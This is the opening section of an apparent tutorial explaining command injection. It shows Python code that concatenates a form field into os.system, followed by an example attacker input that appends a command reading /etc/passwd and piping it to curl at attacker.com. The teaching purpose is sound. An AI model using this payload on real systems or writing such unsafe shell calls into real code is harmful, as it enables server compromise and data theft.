1 What is Command Injection?
Command injection occurs when user input is passed to a system shell without proper handling. Shell metacharacters like ;, &&, |, $(...) allow attackers to append arbitrary commands.
# VULNERABLE
filename = request.form['filename']
os.system("convert " + filename + " output.png")
# Attacker sends: photo.jpg; cat /etc/passwd | curl attacker.com
The semicolon ends the convert command and starts a new one — giving the attacker full command execution on the server.